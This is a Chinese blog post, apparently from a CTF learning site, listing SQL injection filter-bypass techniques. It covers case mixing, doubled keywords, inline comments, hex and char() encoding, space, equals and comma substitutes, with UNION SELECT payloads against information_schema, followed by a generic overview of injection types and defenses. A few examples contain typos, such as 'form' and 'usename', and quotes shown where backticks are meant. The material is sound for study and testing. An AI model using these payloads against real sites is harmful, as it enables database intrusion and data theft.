SQL注入的一些知识

HTTP协议Trick

URL中字符的特殊含义:

1.&表示GET方式提交参数的分隔a=1&b=2,如果在SQL注入过程中将and替换为&&,要对&进行URL编码&&=>%26%26

2.#表示锚点,如果SQL注入过程中使用#表示注释,要对#进行URL编码#=>%23

3.Web站点默认访问index开头的页面,http://ctf.xxx.com/(index.php)?id=1 此处省略index默认页面

4.Web站点默认使用80端口,可省略。http://ctf.xxx.com:8080/?id=1,如果非80端口,不可省略

 

常用注释符(引号逃逸使用)

--空格(注释内容)、--+(注释内容)、/*(注释内容)*/、#注释内容

 

大小写绕过

SQL不区分大小写 

select * from admin where id=1;

select * from admin where id=1 UnioN SeLeCt 1,2,3,4,5

 

双写绕过

select * from admin where id=1;

select * from admin where id=1 UnunionioN SeLeCt 1,2,3,4,5

 

内联注释绕过

select * from admin where id=1;

select * from admin where id=1 Union /*!select*/ 1,2,3,4,5

 

单引号过滤

select * from admin where id=1;

select * from admin where id=1 union select 1,2,table_name,4,5 from information_schema.tables limit 0,1 where table_schema=’web_sql’;

 

十六进制绕过

select * from admin where id=1 union select 1,2,table_name,4,5 from information_schema.tables limit 0,1 where table_schema=0x7765625F73716C;

 

char函数绕过

select * from admin where id=1 union select 1,2,table_name,4,5 from information_schema.tables limit 0,1 where table_schema=

char(119)+char(101)+char(98)+char(95)+char(115)+char(113)+char(108)

 

空格过滤

select id from admin where id=1;

 

括号绕过

select(id)from(admin)where(id=1);

注释绕过 空格=>/**/

Select/**/*/**/from/**/admin;

 

反引号绕过(数据库默认识别关键字,不需要加引号,但是无法自动识别用户定义的表名和字段名,此时可以使用反引号指定)

Select*from’admin’where’id’=1;

 

其他空白字符绕过

#ASCII table:

#     TAB        09          horizontal TAB

#     LF           0A          new line

#     FF          0C          new page

#     CR          0D          carriage return

 

等号过滤

like或rlike绕过

select * from admin where username=’admin’

select * from admin where username like ‘admin’

select * form admin where username rlike ‘admin’

between…and…绕过

select * from admin where username between ‘admin’ and ‘admin’

regexp绕过

select * from admin where usename regexp ‘admin’

逗号过滤

盲注过滤中,需要使用substr、substring、mid等字符串截取函数、limit m,n截取记录,都需要用逗号。

substr(‘字符串’,start,length)使用stustr(‘字符串’ from start for length)替换

select substr(‘admin’,1,1);

select substr(‘admin’ from 1 for 1);

limit m,n使用limit m offset n 替换。

select * from person limit 0,1;

select * from person limit 1 offset 0;

 

 

 

  • 13
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTF(Capture The Flag)是一种网络安全竞赛,旨在考察参赛者在网络安全领域的技能和知识。CTF中的SQL注入是一种常见的攻击技术,用于利用应用程序对用户输入的不正确处理而导致的安全漏洞。下面是CTF中SQL注入的基础知识: 1. 什么是SQL注入SQL注入是指攻击者通过在应用程序的输入中插入恶意的SQL代码,从而绕过应用程序的验证和过滤机制,进而执行非法的数据库操作。攻击者可以通过SQL注入获取敏感信息、修改数据甚至控制整个数据库。 2. SQL注入的原理: SQL注入利用了应用程序对用户输入的不正确处理。当应用程序没有对用户输入进行充分验证和过滤时,攻击者可以通过构造特定的输入来改变原始SQL查询的语义,从而执行恶意操作。 3. SQL注入的类型: - 基于错误的注入:攻击者通过构造恶意输入,触发应用程序产生错误信息,从而获取敏感信息。 - 基于布尔盲注:攻击者通过构造恶意输入,利用应用程序对布尔表达式的处理方式,逐位猜测数据内容。 - 基于时间盲注:攻击者通过构造恶意输入,利用应用程序对时间延迟的处理方式,逐位猜测数据内容。 - 基于联合查询注入:攻击者通过构造恶意输入,利用应用程序对联合查询的处理方式,执行额外的查询操作。 4. 防御SQL注入的方法: - 使用参数化查询或预编译语句,确保用户输入不会被解释为SQL代码。 - 对用户输入进行严格的验证和过滤,包括输入长度、类型、格式等。 - 最小化数据库用户的权限,避免使用具有高权限的数据库账户。 - 定期更新和修补应用程序和数据库的安全补丁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值